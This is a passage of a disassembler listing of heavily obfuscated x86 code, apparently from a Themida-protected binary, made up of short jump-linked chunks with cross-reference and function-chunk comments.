; FUNCTION CHUNK AT 00594A46 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00594B4F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005962DA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00596D28 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00597D69 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00597E45 SIZE 0000000D BYTES

		sub	esp, 4
		jmp	loc_58FD39
sub_595BDA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_595BE2:				; CODE XREF: sub_5938B9-3F10j
					; sub_592D25+28j
		pop	ecx
		jmp	loc_597C49
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_595BE8:				; CODE XREF: sub_590010:loc_596ADAj
					; Themida_:00596DAFj
		shl	esi, 5
		not	esi
		jmp	loc_5911E9
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_595BF2:				; CODE XREF: sub_58F5B5+571j
		push	eax
		mov	eax, 3B28336Dh
		xchg	eax, ebp
		not	ebp
		push	eax
		jmp	sub_592D12
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_595C01:				; CODE XREF: Themida_:0058FB35j
		xchg	esi, ebx
		sub	ebx, 18070F02h
		jmp	loc_58BB63
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_595C0E:				; CODE XREF: sub_5916C4-3305j
					; Themida_:00590778j
		push	0CE5h
		jmp	loc_5946A9
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_595C18:				; CODE XREF: Themida_:00591F12j
		push	ax
		push	ebx
		mov	bh, 39h
		jmp	loc_59543A
; ---------------------------------------------------------------------------


loc_595C22:				; CODE XREF: Themida_:0058D3FBj
		mov	edx, 4
		jmp	loc_58EF2E
; ---------------------------------------------------------------------------


loc_595C2C:				; CODE XREF: Themida_:00592D0Dj
		not	esi
		jmp	loc_5949A0
; ---------------------------------------------------------------------------


loc_595C33:				; CODE XREF: Themida_:0058C8B7j
		add	ecx, ebp
		add	ecx, 7D9564B1h
		jmp	loc_58BD9C
; ---------------------------------------------------------------------------


loc_595C40:				; CODE XREF: Themida_:0058AA4Fj
		add	esi, edx
		push	ebx
		mov	ebx, 64BF3FB0h
		or	ebx, 525954FFh
		shl	ebx, 4
		jmp	loc_595B2F
; ---------------------------------------------------------------------------


loc_595C56:				; CODE XREF: Themida_:0058E699j
		add	ah, dl
		pop	edx
		sub	bl, ah
		pop	eax
		jmp	loc_59077D
; ---------------------------------------------------------------------------


loc_595C61:				; CODE XREF: Themida_:005914C4j
		mov	eax, 54BC13D5h
		xor	edi, eax
		pop	eax
		add	esi, edi
		pop	edi
		jmp	loc_59118F
; ---------------------------------------------------------------------------


loc_595C71:				; CODE XREF: Themida_:00590113j
		add	edi, 42464B0Eh
		add	edi, 46391B30h
		xor	edi, 36E21E10h
		jmp	loc_590118
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_595C88:				; CODE XREF: sub_5EC2E8-54CC0j
		xchg	edx, [esp+2Ch+var_2C]
		pop	esp
		mov	ebp, [esp+28h+var_28]
		jmp	loc_5929A0
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_595C94:				; CODE XREF: sub_58C17E-1A8j
		inc	bl
		jmp	loc_596F17
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_595C9B:				; CODE XREF: sub_590467+1747j
		mov	ch, dl
		mov	edx, [esp+6+var_6]
		add	esp, 4
		add	ch, 5Eh
		add	bl, ch
		mov	ecx, [esp+0]
		jmp	loc_591F65
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_595CB3:				; CODE XREF: Themida_:005977E4j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esp
		jmp	loc_58C7A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_595CCD:				; CODE XREF: sub_590467+341Aj
		mov	edx, [esp+0]
		add	esp, 4
		jmp	loc_590163
; ---------------------------------------------------------------------------


loc_595CDB:				; CODE XREF: sub_590467+1B05j
		push	eax
		mov	al, 9Eh
		jmp	loc_58BAFA
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595655


loc_595CE3:				; CODE XREF: sub_595655+20j
		shl	edx, 4
		jmp	loc_597048
; END OF FUNCTION CHUNK	FOR sub_595655
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_595CEB:				; CODE XREF: sub_58F5B5+2D8Fj
		pop	ebx
		mov	eax, edi
		jmp	loc_597F3B
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5919E2


loc_595CF3:				; CODE XREF: sub_5919E2-1647j
		xor	eax, 63C32DCBh
		jmp	loc_590005
; END OF FUNCTION CHUNK	FOR sub_5919E2
; ---------------------------------------------------------------------------


loc_595CFD:				; CODE XREF: Themida_:00597155j
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		push	653E2254h
		pop	ebx
		xor	edx, ebx
		jmp	loc_591EE7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59524C


loc_595D14:				; CODE XREF: sub_59524C+704j
		add	edx, 18C4493Ch
		sub	esp, 4
		jmp	loc_58BF7E
; END OF FUNCTION CHUNK	FOR sub_59524C
; ---------------------------------------------------------------------------


loc_595D22:				; CODE XREF: Themida_:00592903j
		mov	eax, 1D6D8F0Bh
		mov	edx, eax
		pop	eax
		push	edx
		mov	edx, 33F6307Fh
		sub	eax, edx
		pop	edx
		add	eax, edx
		add	eax, 33F6307Fh
		push	dword ptr [esp]
		jmp	loc_58AA6E
; ---------------------------------------------------------------------------


loc_595D42:				; CODE XREF: Themida_:00597CDFj
		and	ebx, 1F742CEAh
		jo	loc_593201
		xor	ebx, 1420EEh
		mov	ecx, ebx
		pop	ebx
		add	edi, 4E9335EAh
		jmp	loc_5973B9
; ---------------------------------------------------------------------------


loc_595D62:				; CODE XREF: Themida_:00596CBCj
		mov	[esp], esi
		jmp	loc_590529
; ---------------------------------------------------------------------------


loc_595D6A:				; CODE XREF: Themida_:0058B619j
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_595D6F:				; CODE XREF: sub_58C17E+A299j
		xor	eax, ecx
		push	5AA2h
		mov	[esp+6+var_8+2], eax
		xchg	ecx, [esp+6+var_8+2]
		not	ecx
		xchg	ecx, [esp+6+var_8+2]
		mov	eax, [esp+6+var_8+2]
		push	edx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp+0]
		push	ecx
		mov	ecx, 4
		jmp	loc_5926EA
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_595D97:				; CODE XREF: Themida_:loc_59062Cj
		push	eax
		mov	eax, 65BC6DB1h
		jmp	loc_5902FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_595DA2:				; CODE XREF: sub_5916C4+4D5Cj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		jmp	loc_58ABE9
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591059


loc_595DB6:				; CODE XREF: sub_591059+303Aj
		add	esp, 4
		jmp	loc_59715A
; END OF FUNCTION CHUNK	FOR sub_591059
; ---------------------------------------------------------------------------


loc_595DBE:				; CODE XREF: Themida_:0058D8A0j
		add	ebp, 4
		jmp	loc_58E70E
; ---------------------------------------------------------------------------


loc_595DC9:				; CODE XREF: Themida_:0058FB0Fj
		or	edi, 6D4A01F8h
		dec	edi
		dec	edi
		push	ebx
		push	edi
		push	3378760Ch
		pop	edi
		sub	edi, 17B214F1h
		and	edi, 3A2A39E7h
		jno	loc_58B573
		add	edi, 0EF1111A4h
		mov	ebx, edi
		pop	edi
		or	edi, ebx
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_595DF6:				; CODE XREF: sub_5916CB+150Bj
		add	[ebx], eax
		pop	ebx
		pop	edx
		pop	eax


loc_595DFB:				; CODE XREF: sub_595655-5CFEj
		push	3CB8h
		mov	[esp+0Ch+var_C], ebx
		mov	eax, [esp+0Ch+var_C]
		jmp	sub_5948B7
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_595E0B:				; CODE XREF: sub_595E21+1C6Dj
		push	edx
		mov	edx, 65526119h
		jmp	loc_594037
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_595E16:				; CODE XREF: sub_58F5B5+83EAj
		pop	edi
		push	ebp
		mov	ebp, esp
		push	ebx
		push	edx
		jmp	sub_5938B9
; END OF FUNCTION CHUNK	FOR sub_58F5B5

; =============== S U B	R O U T	I N E =======================================



sub_595E21	proc near		; CODE XREF: sub_58F836+3F03j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 0058A617 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058B239 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058B7F4 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058C2C5 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058C605 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058CCB7 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0058D2E6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058DB75 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058E1EA SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058E833 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058E929 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058EBDE SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058ED84 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058F4B2 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0058F831 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058FD90 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058FFDB SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00590609 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00590649 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00590699 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00590F3F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00591237 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059137A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059168F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00591AC2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00591D25 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005923A5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00592513 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 00592882 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00592BA9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00592E94 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059307D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059321F SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005932C5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00593B33 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00594037 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005942C0 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00594440 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005945F8 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00594812 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00595637 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00595791 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00595E0B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00595E36 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059709B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00597166 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00597A80 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00597BE9 SIZE 00000010 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		push	5CCC0A2Ah
		pop	ecx
		xchg	edx, ecx
		not	edx
		jmp	loc_58FFDB
sub_595E21	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_595E36:				; CODE XREF: sub_595E21-22D8j
		mov	ebp, 2187740Bh
		mov	ebx, ebp
		pop	ebp
		xor	ebx, 0CCC089Fh
		add	edx, ebx
		pop	ebx
		jmp	loc_58E929
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_595E4C:				; CODE XREF: sub_58F5B5-468Aj
		pop	ecx
		jmp	loc_58E077
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_595E52:				; CODE XREF: Themida_:00598023j
		sub	ax, 28AFh
		add	ax, di
		add	ax, 28AFh
		jmp	loc_58A302
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_595E62:				; CODE XREF: sub_590467-F64j
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_595E67:				; CODE XREF: Themida_:0058B03Aj
					; Themida_:0058D991j
		mov	dx, 2
		jmp	loc_591B16
; ---------------------------------------------------------------------------


loc_595E70:				; CODE XREF: Themida_:00594F28j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_59381C
; ---------------------------------------------------------------------------


loc_595E7B:				; CODE XREF: Themida_:00590A2Aj
		push	ebx
		mov	ebx, 16EF0B5Dh
		push	edi
		mov	edi, 40D315AFh
		jmp	loc_58E5E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_595E8C:				; CODE XREF: sub_5916C4+1B19j
		sub	edx, 280C0B9Fh
		add	edx, 7EF8540Bh
		add	edx, eax
		sub	edx, 7EF8540Bh
		add	edx, 280C0B9Fh
		push	eax
		mov	eax, 3FAE0CC1h
		push	edi
		mov	edi, 1607460Dh
		sub	eax, edi
		pop	edi
		and	eax, 396A59CBh
		xor	eax, 37B64054h
		push	esi
		mov	esi, 3D137D97h
		shl	esi, 1
		sub	esi, 21357AA6h
		add	esi, 0CE406D0h
		jmp	loc_58B7E3
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590B70


loc_595ED8:				; CODE XREF: sub_590B70-3E60j
		push	7C73h
		jmp	loc_58A475
; END OF FUNCTION CHUNK	FOR sub_590B70
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_592D91
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F836


loc_595EED:				; CODE XREF: sub_58F836+5186j
		pop	edx
		xor	ebp, 4201Ch
		push	ebp
		xor	[esp+10h+var_10], 62764025h
		pop	eax
		xor	eax, 62764025h
		pop	ebp
		mov	edx, eax
		pop	eax
		add	edx, 73B13AC7h
		add	edx, edi
		sub	edx, 73B13AC7h
		push	dword ptr [edx]
		sub	[esp+8+var_8], 6DD12502h
		jmp	loc_58A6B4
; END OF FUNCTION CHUNK	FOR sub_58F836
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_58C758
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_595F30:				; CODE XREF: sub_590467-48AAj
		push	dword ptr [esp+0]
		pop	ecx
		add	esp, 4
		push	[esp-6+arg_0+2]
		push	dword ptr [esp+0]
		pop	ebx
		add	esp, 4
		add	esp, 4
		xor	bl, al
		jmp	loc_591CDB
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5942E3


loc_595F54:				; CODE XREF: sub_5942E3-3F85j
		push	dword ptr [esp+0]
		mov	edi, [esp+4+var_4]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+4+var_4]
		pop	esp
		sub	eax, 4
		xchg	eax, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], ecx
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_5942E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_595F7D:				; CODE XREF: sub_5916CB-16F5j
		push	[esp+4+var_4]
		mov	eax, [esp+8+var_8]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		push	edi
		jmp	loc_58D852
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------


loc_595F92:				; CODE XREF: Themida_:00592A75j
		dec	esi
		shr	esi, 2
		jmp	loc_58AF86
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_595F9B:				; CODE XREF: sub_5916C4-2452j
		mov	esi, eax
		mov	eax, [esp+0]
		add	esp, 4
		shr	esi, 2
		not	esi
		sub	esi, 690662Ch
		jp	loc_58F21F
		add	esi, 952E0913h
		xor	eax, esi
		push	[esp-4+arg_0]
		jmp	loc_594DA2
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_595FC4:				; CODE XREF: Themida_:0058C348j
		xor	al, dl
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, 0F0h
		add	bl, 12h
		ja	loc_58D8B7
		sub	bl, 0D5h
		push	cx
		mov	cl, 6Ch
		jmp	loc_597C42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_595FE7:				; CODE XREF: sub_590010+CD2j
		push	[esp-8+arg_4]
		pop	ebp
		jmp	sub_58E0C4
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595123


loc_595FF0:				; CODE XREF: sub_595123-1C05j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		jmp	loc_5952D8
; END OF FUNCTION CHUNK	FOR sub_595123
; ---------------------------------------------------------------------------


loc_596001:				; CODE XREF: Themida_:0058EAADj
		push	ebp
		mov	ebp, 58622324h
		jmp	loc_58AC31
; ---------------------------------------------------------------------------


loc_59600C:				; CODE XREF: Themida_:0058B1C0j
		add	esi, edx
		jmp	loc_5963FE
; ---------------------------------------------------------------------------


loc_596013:				; CODE XREF: Themida_:0058B808j
		mov	ebp, esp
		push	edx
		push	ebx
		mov	ebx, 703F0E06h
		sub	ebx, 615C2495h
		xor	ebx, 1BEA516Eh
		jmp	loc_5924C5
; ---------------------------------------------------------------------------


loc_59602D:				; CODE XREF: Themida_:00596D37j
		dec	ebp
		or	ebp, 6D3B1018h
		xor	ebp, 7CA0C241h
		sub	esi, ebp
		pop	ebp
		jmp	loc_58B6D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_596042:				; CODE XREF: sub_58C17E-1A76j
		add	esp, 4
		push	edx
		mov	edx, 4
		add	ebp, edx
		mov	edx, [esp+4+var_4]
		add	esp, 4
		add	ebp, 2
		xor	ebp, [esp+0]
		jmp	loc_58F10B
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_596064:				; CODE XREF: Themida_:00590E45j
		dec	edi
		jmp	loc_58C6DB
; ---------------------------------------------------------------------------


loc_59606A:				; CODE XREF: Themida_:00597B24j
		neg	bp
		xor	bp, 0BDD8h
		xor	dx, bp
		pop	ebp
		and	dx, 2021h
		jmp	loc_597EE3
; ---------------------------------------------------------------------------


loc_596080:				; CODE XREF: Themida_:0058FBE4j
		dec	ecx
		jmp	loc_596F6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B4D6


loc_596086:				; CODE XREF: sub_58B4D6+ACC5j
		add	ebp, ecx
		jmp	loc_58EBFE
; END OF FUNCTION CHUNK	FOR sub_58B4D6
; ---------------------------------------------------------------------------


loc_59608D:				; CODE XREF: Themida_:0058D681j
		add	ebx, 4B52234h
		pop	ebp
		add	ebx, 6E834FB8h
		pop	esi
		xchg	ebx, [esp]
		jmp	loc_59517F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_5960A3:				; CODE XREF: sub_59762D+2j
		push	3B1D5A3Bh
		pop	ecx
		or	ecx, 44E112D3h
		not	ecx
		sub	ecx, 3A4169B4h
		mov	ebx, ecx
		pop	ecx
		not	ebx
		neg	ebx
		jmp	loc_595773
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------


loc_5960C3:				; CODE XREF: Themida_:005950E6j
		pop	edi
		mov	edx, [esp]
		add	esp, 4
		sub	[esp], eax
		sub	dword ptr [esp], 1F372BAEh
		jmp	loc_58DFD0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_5960D9:				; CODE XREF: sub_5EC2E8-5E606j
		pop	esi
		dec	esi
		push	eax
		push	2F3Fh
		mov	[esp+20h+var_20], esi
		pop	eax
		jmp	loc_596124
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_5960EA:				; CODE XREF: Themida_:00593E96j
		mov	edx, eax
		mov	eax, [esp]
		add	esp, 4
		shr	edx, 8
		jmp	loc_58BBCA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_5960FD:				; CODE XREF: sub_5EC2E8-556EFj
		add	eax, edx
		sub	eax, 3EBB71EBh
		jmp	loc_592AD7
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_596109:				; CODE XREF: sub_5916C4-3958j
		xor	ebp, 34697598h
		push	ebx
		mov	ebx, 2F7B636Fh
		shr	ebx, 2
		jmp	loc_58E221
; ---------------------------------------------------------------------------


loc_59611D:				; CODE XREF: sub_5916C4-6CCBj
		shl	bl, 1
		jmp	loc_590545
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_596124:				; CODE XREF: sub_595E21-82A5j
					; sub_5EC2E8-56203j
		pop	esi
		shr	eax, 2
		xor	eax, 236A4CFFh
		sub	eax, 2447CF30h
		sub	edx, eax
		jmp	loc_592B98
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_596139:				; CODE XREF: sub_5916CB+1918j
		pop	eax
		mov	esi, edi
		mov	edi, [esp+8+var_8]
		add	esp, 4
		add	edi, esi
		pop	esi
		jmp	loc_58DF20
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------
		xor	[esp], si
		xor	si, [esp]
		jmp	loc_597C04
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5919E2


loc_59615A:				; CODE XREF: sub_5919E2+2D0Cj
		add	ecx, 0F0C8D299h
		mov	[eax], ecx
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		mov	eax, [esp+4+var_4]
		jmp	loc_58D6E8
; END OF FUNCTION CHUNK	FOR sub_5919E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_596173:				; CODE XREF: sub_5916C4+31E3j
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		add	edx, 4
		xchg	edx, [esp+2+var_4+2]
		mov	esp, [esp+2+var_4+2]
		and	eax, edx
		jmp	loc_590938
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B4D6


loc_59618F:				; CODE XREF: sub_58B4D6+7j
		inc	ebp
		sub	esp, 4
		mov	[esp+8+var_8], ecx
		mov	ecx, 725A3CCEh
		jmp	loc_596086
; END OF FUNCTION CHUNK	FOR sub_58B4D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_5961A0:				; CODE XREF: sub_590467-4D07j
		push	edx
		mov	dh, 0C4h
		xor	dh, 11h
		jbe	loc_592085
		not	dh
		not	dh
		shr	dh, 6
		and	dh, 0CBh
		jnp	loc_58E487
		sub	dh, 0E1h
		push	ecx
		mov	cl, dh
		mov	bh, cl
		pop	ecx
		pop	edx
		jmp	loc_58E47C
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_5961CB:				; CODE XREF: sub_59762D-1EB4j
		sub	ebx, 4AE42B21h
		mov	ebp, ebx
		jmp	loc_595590
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------


loc_5961D8:				; CODE XREF: Themida_:0058B7B9j
		mov	edx, edi
		jmp	loc_59323D
; ---------------------------------------------------------------------------


loc_5961DF:				; CODE XREF: Themida_:00591A31j
		or	bl, dl
		mov	edx, [esp]
		jmp	loc_58A992
; ---------------------------------------------------------------------------


loc_5961E9:				; CODE XREF: Themida_:005939ACj
		push	edx
		mov	edx, 36300AD2h
		add	edx, 2CF55341h
		and	edx, 3884696Fh
		sub	edx, 0A13545FEh
		add	ebx, edx
		pop	edx
		push	edx
		push	esp
		pop	edx
		jmp	loc_5923E5
; ---------------------------------------------------------------------------


loc_59620C:				; CODE XREF: Themida_:00595B16j
		mov	esi, [esp]
		add	esp, 4
		xchg	ebp, edx
		not	ebp
		xchg	ebp, edx
		shl	edx, 3
		jns	loc_59220D
		shr	edx, 2
		jnp	loc_593FE3
		shl	edx, 3
		and	edx, 263F73B9h
		jg	loc_58E7B6
		push	esi
		jmp	loc_58FD39
; ---------------------------------------------------------------------------
		pop	esp
		mov	dl, ah
		push	esi


loc_596243:				; CODE XREF: Themida_:0058EE36j
		xchg	esi, [esp]
		pop	esp
		btr	[esp], ax
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_596252:				; CODE XREF: Themida_:00592028j
		add	ebp, edi
		add	ebp, 4F66FD4h
		add	ebp, 60187465h
		pop	edi
		jmp	loc_58D216
; ---------------------------------------------------------------------------


loc_596266:				; CODE XREF: Themida_:00592A7Dj
		push	edx
		jmp	loc_595A51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_59626C:				; CODE XREF: sub_58F5B5+5FCCj
		sub	eax, esi
		push	ebp
		mov	ebp, 0DFE56BFh
		or	ebp, 2E9F1515h
		and	ebp, 9F254C3h
		jz	loc_591B5B
		add	ebp, 586A181Ah
		add	ebp, 1BA2E540h
		add	eax, ebp
		pop	ebp
		pop	esi
		jmp	loc_593FF2
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_59629B:				; CODE XREF: Themida_:00597DC7j
		add	cx, 0CA32h
		mov	bp, cx
		mov	ecx, [esp]
		add	esp, 4
		sub	bx, bp
		jmp	loc_596A13
; ---------------------------------------------------------------------------


loc_5962B1:				; CODE XREF: Themida_:0058FD53j
					; Themida_:00591476j
		xor	dh, 0D2h
		sub	ch, dh
		pop	edx
		sub	ch, 55h
		add	ch, ah
		add	ch, 55h
		add	ch, 65h
		pop	eax
		add	al, 8Dh
		sub	al, ch
		sub	al, 8Dh
		pop	ecx
		sub	al, bl
		push	small 3C24h
		mov	[esp], bx
		push	eax
		jmp	loc_591854
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BDA


loc_5962DA:				; CODE XREF: sub_595BDA-AF87j
		add	esi, 80820Ch
		mov	edi, esi
		pop	esi
		jmp	loc_58FD28
; END OF FUNCTION CHUNK	FOR sub_595BDA
; ---------------------------------------------------------------------------


loc_5962E8:				; CODE XREF: Themida_:005936D1j
		pop	eax
		mov	[ecx], dl
		pop	ecx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_591E69
; ---------------------------------------------------------------------------


loc_5962F7:				; CODE XREF: Themida_:00590C04j
		shr	ebp, 6
		push	eax
		mov	eax, 609126A6h
		jmp	loc_58F6EE
; ---------------------------------------------------------------------------


loc_596305:				; CODE XREF: Themida_:0058E444j
		shr	eax, 4
		dec	eax
		add	eax, 0F7BEE788h
		add	esi, 75A87462h
		sub	esi, eax
		sub	esi, 75A87462h
		pop	eax
		xor	esi, [esp]
		jmp	loc_58BA58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B4D6


